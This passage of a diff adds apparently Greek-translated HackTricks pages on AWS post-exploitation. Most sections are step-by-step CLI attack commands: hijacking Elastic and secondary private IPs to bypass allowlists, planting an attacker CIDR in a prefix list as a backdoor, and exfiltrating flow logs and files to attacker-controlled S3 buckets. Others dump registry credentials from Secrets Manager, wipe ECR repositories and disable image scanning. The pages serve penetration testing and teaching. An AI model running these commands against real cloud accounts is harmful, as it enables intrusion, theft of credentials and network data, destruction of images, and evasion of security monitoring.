||||
sleep 5; curl -sS http://$EIP | grep -i attacker
|
||||
```
|
||||
Απόδειξη (μεταφερθείσα συσχέτιση):
|
||||
```bash
|
||||
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
|
||||
--query Addresses[0].AssociationId --output text
|
||||
```
|
||||
## Επιπτώσεις
|
||||
- Inbound impersonation: Όλη η κίνηση προς το hijacked EIP παραδίδεται στο attacker instance/ENI.
|
||||
- Outbound impersonation: Ο attacker μπορεί να ξεκινήσει κίνηση που φαίνεται να προέρχεται από το allowlisted public IP (χρήσιμο για την παράκαμψη φίλτρων partner/external source IP).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Κακοποιήστε τις `ec2:UnassignPrivateIpAddresses` και `ec2:AssignPrivateIpAddresses` για να κλέψετε τη δευτερεύουσα private IP ενός θύματος ENI και να τη μεταφέρετε σε ένα ENI επιτιθέμενου στο ίδιο subnet/AZ. Πολλές εσωτερικές υπηρεσίες και security groups περιορίζουν την πρόσβαση με βάση συγκεκριμένες private IP. Με τη μετακίνηση αυτής της δευτερεύουσας διεύθυνσης, ο επιτιθέμενος προσποιείται τον έμπιστο host σε επίπεδο L3 και μπορεί να προσεγγίσει allowlisted υπηρεσίες.
|
||||
|
||||
Προαπαιτούμενα:
|
||||
- Δικαιώματα: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` στο ARN του ENI του θύματος, και `ec2:AssignPrivateIpAddresses` στο ARN του ENI του επιτιθέμενου.
|
||||
- Και τα δύο ENI πρέπει να βρίσκονται στο ίδιο subnet/AZ. Η στοχευόμενη διεύθυνση πρέπει να είναι δευτερεύουσα IP (η primary δεν μπορεί να απελευθερωθεί).
|
||||
|
||||
Μεταβλητές:
|
||||
- REGION=us-east-1
|
||||
- VICTIM_ENI=<eni-xxxxxxxx>
|
||||
- ATTACKER_ENI=<eni-yyyyyyyy>
|
||||
- PROTECTED_SG=<sg-protected> # SG σε υπηρεσία-στόχο που επιτρέπει μόνο το $HIJACK_IP
|
||||
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
|
||||
|
||||
Βήματα:
|
||||
1) Επιλέξτε μια δευτερεύουσα IP από το ENI του θύματος
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
|
||||
export HIJACK_IP=$(cat HIJACK_IP)
|
||||
```
|
||||
2) Διασφαλίστε ότι ο protected host επιτρέπει μόνο εκείνη την IP (idempotent). Αν χρησιμοποιείτε SG-to-SG rules αντί για αυτό, παραλείψτε.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
|
||||
```
|
||||
3) Βασική κατάσταση: από το attacker instance, το αίτημα προς PROTECTED_HOST θα πρέπει να αποτύχει χωρίς πλαστογραφημένη προέλευση (π.χ., μέσω SSM/SSH)
|
||||
```bash
|
||||
curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```
|
||||
4) Αποδεσμεύστε το secondary IP από το victim ENI
|
||||
```bash
|
||||
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
5) Εκχωρήστε την ίδια IP στο attacker ENI (στο AWS CLI v1 προσθέστε `--allow-reassignment`)
|
||||
```bash
|
||||
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
6) Επαληθεύστε ότι η ιδιοκτησία έχει μεταφερθεί
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
|
||||
```
|
||||
7) Από το attacker instance, κάντε source-bind στην hijacked IP για να φτάσετε τον protected host (βεβαιωθείτε ότι η IP είναι ρυθμισμένη στο OS; αν όχι, προσθέστε την με `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
```bash
|
||||
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
|
||||
```
|
||||
## Επιπτώσεις
|
||||
- Παράκαμψη των IP allowlists και μίμηση των trusted hosts εντός του VPC με μετακίνηση των secondary private IPs μεταξύ ENIs στο ίδιο subnet/AZ.
|
||||
- Πρόσβαση σε εσωτερικές υπηρεσίες που ελέγχουν την πρόσβαση με βάση συγκεκριμένες source IPs, επιτρέποντας lateral movement και πρόσβαση σε δεδομένα.
|
||||
+72
@@ -0,0 +1,72 @@
|
||||
# AWS - Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Περίληψη
|
||||
Καταχρήση των customer-managed Prefix Lists για να δημιουργηθεί ένα κρυφό μονοπάτι πρόσβασης. Εάν ένας κανόνας security group (SG) αναφέρεται σε managed Prefix List, οποιοσδήποτε έχει τη δυνατότητα να τροποποιήσει αυτή τη λίστα μπορεί σιωπηλά να προσθέσει attacker-controlled CIDRs. Κάθε SG (και ενδεχομένως Network ACL ή VPC endpoint) που αναφέρεται στη λίστα επιτρέπει αμέσως τις νέες περιοχές χωρίς καμία εμφανή αλλαγή στο SG.
|
||||
|
||||
## Επιπτώσεις
|
||||
- Άμεση επέκταση των επιτρεπόμενων IP ranges για όλα τα SG που αναφέρονται στην prefix list, παρακάμπτοντας τους ελέγχους αλλαγών που παρακολουθούν μόνο τις επεξεργασίες των SG.
|
||||
- Επιτρέπει επίμονες ingress/egress backdoors: διατηρήστε το malicious CIDR κρυμμένο στην prefix list ενώ ο κανόνας του SG φαίνεται αμετάβλητος.
|
||||
|
||||
## Απαιτήσεις
|
||||
- IAM permissions:
|
||||
- `ec2:DescribeManagedPrefixLists`
|
||||
- `ec2:GetManagedPrefixListEntries`
|
||||
- `ec2:ModifyManagedPrefixList`
|
||||
- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (to identify attached SGs)
|
||||
- Προαιρετικό: `ec2:CreateManagedPrefixList` if creating a new one for testing.
|
||||
- Περιβάλλον: Τουλάχιστον ένας κανόνας SG που αναφέρεται στην στοχευμένη customer-managed Prefix List.
|
||||
|
||||
## Μεταβλητές
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
PREFIX_LIST_ID=<pl-xxxxxxxx>
|
||||
ENTRY_CIDR=<attacker-cidr/32>
|
||||
DESCRIPTION="Backdoor – allow attacker"
|
||||
```
|
||||
## Βήματα Επίθεσης
|
||||
|
||||
1) **Καταγράψτε (enumerate) τα υποψήφια prefix lists και τους consumers**
|
||||
```bash
|
||||
aws ec2 describe-managed-prefix-lists \
|
||||
--region "$REGION" \
|
||||
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
|
||||
--output table
|
||||
|
||||
aws ec2 get-managed-prefix-list-entries \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--region "$REGION" \
|
||||
--query 'Entries[*].[Cidr,Description]'
|
||||
```
|
||||
Χρησιμοποιήστε `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` για να επιβεβαιώσετε ποιοι κανόνες SG εξαρτώνται από τη λίστα.
|
||||
|
||||
2) **Προσθέστε attacker CIDR στη prefix list**
|
||||
```bash
|
||||
aws ec2 modify-managed-prefix-list \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
|
||||
--region "$REGION"
|
||||
```
|
||||
3) **Επαληθεύστε τη διάδοση προς τα security groups**
|
||||
```bash
|
||||
aws ec2 describe-security-group-rules \
|
||||
--region "$REGION" \
|
||||
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
|
||||
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
|
||||
--output table
|
||||
```
|
||||
Η κυκλοφορία από `$ENTRY_CIDR` επιτρέπεται πλέον όπου γίνεται αναφορά στην prefix list (συνήθως στους κανόνες εξερχόμενης κυκλοφορίας σε egress proxies ή στους εισερχόμενους κανόνες σε shared services).
|
||||
|
||||
## Αποδείξεις
|
||||
- `get-managed-prefix-list-entries` αντικατοπτρίζει το CIDR του επιτιθέμενου και την περιγραφή.
|
||||
- `describe-security-group-rules` εξακολουθεί να εμφανίζει τον αρχικό κανόνα SG που αναφέρεται στην prefix list (δεν καταγράφηκε τροποποίηση του SG), παρ' όλα αυτά η κίνηση από το νέο CIDR επιτυγχάνει.
|
||||
|
||||
## Καθαρισμός
|
||||
```bash
|
||||
aws ec2 modify-managed-prefix-list \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--remove-entries Cidr="$ENTRY_CIDR" \
|
||||
--region "$REGION"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+68
@@ -0,0 +1,68 @@
|
||||
# AWS – Παράκαμψη Egress από Απομονωμένα Subnets μέσω VPC Endpoints
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Περίληψη
|
||||
|
||||
Αυτή η τεχνική εκμεταλλεύεται τα VPC Endpoints για να δημιουργήσει κανάλια εξαγωγής (exfiltration) από subnets χωρίς Internet Gateways ή NAT. Οι Gateway endpoints (π.χ. S3) προσθέτουν prefix‑list routes στους πίνακες δρομολόγησης των subnets· οι Interface endpoints (π.χ. execute-api, secretsmanager, ssm κ.λπ.) δημιουργούν προσεγγίσιμα ENIs με ιδιωτικές IP προστατευμένες από security groups. Με ελάχιστα δικαιώματα VPC/EC2, ένας επιτιθέμενος μπορεί να ενεργοποιήσει ελεγχόμενο egress που δεν διέρχεται από το public Internet.
|
||||
|
||||
> Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs.
|
||||
|
||||
## Επιλογή A – S3 Gateway VPC Endpoint
|
||||
|
||||
**Μεταβλητές**
|
||||
- `REGION=us-east-1`
|
||||
- `VPC_ID=<target vpc>`
|
||||
- `RTB_IDS=<comma-separated route table IDs of private subnets>`
|
||||
|
||||
1) Δημιουργήστε ένα χαλαρό αρχείο πολιτικής endpoint (προαιρετικό). Αποθηκεύστε ως `allow-put-get-any-s3.json`:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
|
||||
}
|
||||
```
|
||||
2) Δημιουργήστε το S3 Gateway endpoint (προσθέτει S3 prefix‑list route στους επιλεγμένους πίνακες δρομολόγησης):
|
||||
```bash
|
||||
aws ec2 create-vpc-endpoint \
|
||||
--vpc-id $VPC_ID \
|
||||
--service-name com.amazonaws.$REGION.s3 \
|
||||
--vpc-endpoint-type Gateway \
|
||||
--route-table-ids $RTB_IDS \
|
||||
--policy-document file://allow-put-get-any-s3.json # optional
|
||||
```
|
||||
Evidence to capture:
|
||||
- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` εμφανίζει μια διαδρομή προς την AWS S3 prefix list (π.χ., `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
|
||||
- Από ένα instance σε αυτά τα subnets (με IAM perms) μπορείτε να exfil μέσω S3 χωρίς διαδίκτυο:
|
||||
```bash
|
||||
# On the isolated instance (e.g., via SSM):
|
||||
echo data > /tmp/x.txt
|
||||
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
|
||||
```
|
||||
## Επιλογή B – Interface VPC Endpoint για API Gateway (execute-api)
|
||||
|
||||
**Μεταβλητές**
|
||||
- `REGION=us-east-1`
|
||||
- `VPC_ID=<target vpc>`
|
||||
- `SUBNET_IDS=<comma-separated private subnets>`
|
||||
- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
|
||||
|
||||
1) Δημιουργήστε το interface endpoint και επισυνάψτε το SG:
|
||||
```bash
|
||||
aws ec2 create-vpc-endpoint \
|
||||
--vpc-id $VPC_ID \
|
||||
--service-name com.amazonaws.$REGION.execute-api \
|
||||
--vpc-endpoint-type Interface \
|
||||
--subnet-ids $SUBNET_IDS \
|
||||
--security-group-ids $SG_VPCE \
|
||||
--private-dns-enabled
|
||||
```
|
||||
Στοιχεία προς συλλογή:
|
||||
- `aws ec2 describe-vpc-endpoints` δείχνει το endpoint σε κατάσταση `available` με `NetworkInterfaceIds` (ENIs στα υποδίκτυά σας).
|
||||
- Οι instances σε αυτά τα υποδίκτυα μπορούν να προσεγγίσουν Private API Gateway endpoints μέσω αυτών των VPCE ENIs (δεν απαιτείται διαδρομή στο Internet).
|
||||
|
||||
## Επιπτώσεις
|
||||
- Παρακάμπτει τους perimeter egress controls αξιοποιώντας AWS‑managed private paths προς AWS services.
|
||||
- Επιτρέπει data exfiltration από απομονωμένα υποδίκτυα (π.χ., εγγραφή σε S3; κλήση Private API Gateway; πρόσβαση σε Secrets Manager/SSM/STS, κ.λπ.) χωρίς IGW/NAT.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Περίληψη
|
||||
Κακοχρησιμοποιήστε `ec2:CreateFlowLogs` για να εξάγετε VPC, subnet, ή ENI flow logs απευθείας σε ένα S3 bucket που ελέγχεται από attacker. Μόλις το delivery role διαμορφωθεί ώστε να γράφει στο εξωτερικό bucket, κάθε σύνδεση που παρατηρείται στον παρακολουθούμενο πόρο εξάγεται έξω από το victim account.
|
||||
|
||||
## Απαιτήσεις
|
||||
- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (if a delivery role is required/created).
|
||||
- Attacker bucket: S3 policy that trusts `delivery.logs.amazonaws.com` with `s3:PutObject` and `bucket-owner-full-control`.
|
||||
- Προαιρετικό: `logs:DescribeLogGroups` if exporting to CloudWatch instead of S3 (not needed here).
|
||||
|
||||
## Περιγραφή Επίθεσης
|
||||
|
||||
1) **Attacker** προετοιμάζει μια πολιτική S3 bucket (στο attacker account) που επιτρέπει στην υπηρεσία VPC Flow Logs delivery να γράφει αντικείμενα. Αντικαταστήστε τα placeholders πριν την εφαρμογή:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowVPCFlowLogsDelivery",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "delivery.logs.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
|
||||
"Condition": {
|
||||
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Εφαρμόστε από τον λογαριασμό του επιτιθέμενου:
|
||||
```bash
|
||||
aws s3api put-bucket-policy \
|
||||
--bucket <attacker-bucket> \
|
||||
--policy file://flowlogs-policy.json
|
||||
```
|
||||
2) **Victim** (compromised principal) δημιουργεί τα flow logs που στοχεύουν το attacker bucket:
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
VPC_ID=<vpc-xxxxxxxx>
|
||||
ROLE_ARN=<delivery-role-with-logs-permissions> # Must allow delivery.logs.amazonaws.com to assume it
|
||||
aws ec2 create-flow-logs \
|
||||
--resource-type VPC \
|
||||
--resource-ids "$VPC_ID" \
|
||||
--traffic-type ALL \
|
||||
--log-destination-type s3 \
|
||||
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
|
||||
--deliver-logs-permission-arn "$ROLE_ARN" \
|
||||
--region "$REGION"
|
||||
```
|
||||
Μέσα σε λίγα λεπτά, αρχεία flow log εμφανίζονται στον attacker bucket τα οποία περιέχουν συνδέσεις για όλες τις ENIs στο παρακολουθούμενο VPC/subnet.
|
||||
|
||||
## Αποδεικτικά στοιχεία
|
||||
|
||||
Δείγματα εγγραφών flow log που γράφτηκαν στον attacker bucket:
|
||||
```text
|
||||
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
|
||||
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
|
||||
```
|
||||
Απόδειξη λίστας Bucket:
|
||||
```bash
|
||||
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
|
||||
```
|
||||
## Επιπτώσεις
|
||||
- Συνεχής εξαγωγή μεταδεδομένων δικτύου (source/destination IPs, ports, protocols) για το παρακολουθούμενο VPC/subnet/ENI.
|
||||
- Επιτρέπει traffic analysis, identification of sensitive services, και potential hunting για security group misconfigurations από έξω από τον λογαριασμό του θύματος.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,92 +0,0 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Σύνδεση, Λήψη & Αποστολή
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
||||
## For private repo
|
||||
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
||||
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
||||
|
||||
# Download
|
||||
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
||||
## If you still have the error "Requested image not found"
|
||||
## It might be because the tag "latest" doesn't exit
|
||||
## Get valid tags with:
|
||||
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
||||
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
||||
|
||||
# Inspect the image
|
||||
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
||||
|
||||
# Upload (example uploading purplepanda with tag latest)
|
||||
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Μετά τη λήψη των εικόνων, θα πρέπει να **ελέγξετε αν περιέχουν ευαίσθητες πληροφορίες**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Ένας επιτιθέμενος με οποιαδήποτε από αυτές τις άδειες μπορεί να **δημιουργήσει ή να τροποποιήσει μια πολιτική κύκλου ζωής για να διαγράψει όλες τις εικόνες στο αποθετήριο** και στη συνέχεια να **διαγράψει ολόκληρο το αποθετήριο ECR**. Αυτό θα είχε ως αποτέλεσμα την απώλεια όλων των εικόνων κοντέινερ που είναι αποθηκευμένες στο αποθετήριο.
|
||||
```bash
|
||||
bashCopy code# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
||||
|
||||
# Delete the ECR repository
|
||||
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete the ECR public repository
|
||||
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete multiple images from the ECR repository
|
||||
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+210
@@ -0,0 +1,210 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
||||
## For private repo
|
||||
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
||||
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
||||
|
||||
# Download
|
||||
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
||||
## If you still have the error "Requested image not found"
|
||||
## It might be because the tag "latest" doesn't exit
|
||||
## Get valid tags with:
|
||||
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
||||
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
||||
|
||||
# Inspect the image
|
||||
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
||||
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
|
||||
|
||||
# Upload (example uploading purplepanda with tag latest)
|
||||
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Μετά τη λήψη των images θα πρέπει να τα ελέγξετε για ευαίσθητες πληροφορίες:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Ένας επιτιθέμενος με οποιαδήποτε από αυτές τις άδειες μπορεί να **δημιουργήσει ή να τροποποιήσει ένα lifecycle policy για να διαγράψει όλα τα images στο repository** και στη συνέχεια να **διαγράψει ολόκληρο το ECR repository**. Αυτό θα έχει ως αποτέλεσμα την απώλεια όλων των container images που είναι αποθηκευμένα στο repository.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
||||
|
||||
# Delete the ECR repository
|
||||
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete the ECR public repository
|
||||
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete multiple images from the ECR repository
|
||||
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Εάν το ECR Pull‑Through Cache έχει ρυθμιστεί για επαληθευμένους upstream registries (Docker Hub, GHCR, ACR, κ.λπ.), τα upstream credentials αποθηκεύονται στο AWS Secrets Manager με προβλέψιμο πρόθεμα ονόματος: `ecr-pullthroughcache/`. Οι operators μερικές φορές παρέχουν στους ECR admins ευρεία πρόσβαση ανάγνωσης στο Secrets Manager, επιτρέποντας την credential exfiltration και την επαναχρησιμοποίηση εκτός AWS.
|
||||
|
||||
Απαιτήσεις
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Απαρίθμηση υποψήφιων PTC secrets
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Εξαγωγή ανακαλυφθέντων secrets και ανάλυση κοινών πεδίων
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
aws secretsmanager get-secret-value --secret-id "$s" \
|
||||
--query SecretString --output text | tee /tmp/ptc_secret.json
|
||||
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
Προαιρετικό: επαληθεύστε τα leaked creds έναντι του upstream (read‑only login)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impact
|
||||
- Η ανάγνωση αυτών των εγγραφών του Secrets Manager αποκαλύπτει επαναχρησιμοποιήσιμα upstream registry credentials (username/password or token), τα οποία μπορούν να καταχραστούν εκτός AWS για να pull private images ή να αποκτήσουν πρόσβαση σε επιπλέον repositories ανάλογα με τα upstream permissions.
|
||||
|
||||
|
||||
### Registry-level stealth: απενεργοποίηση ή υποβάθμιση του scanning μέσω `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Ένας επιτιθέμενος με δικαιώματα ECR σε επίπεδο registry μπορεί αθόρυβα να μειώσει ή να απενεργοποιήσει το automatic vulnerability scanning για ALL repositories, ρυθμίζοντας το registry scanning configuration σε BASIC χωρίς κανόνες scan-on-push. Αυτό εμποδίζει τα νέα image pushes να σαρώνονται αυτόματα, κρύβοντας vulnerable ή malicious images.
|
||||
|
||||
Requirements
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
|
||||
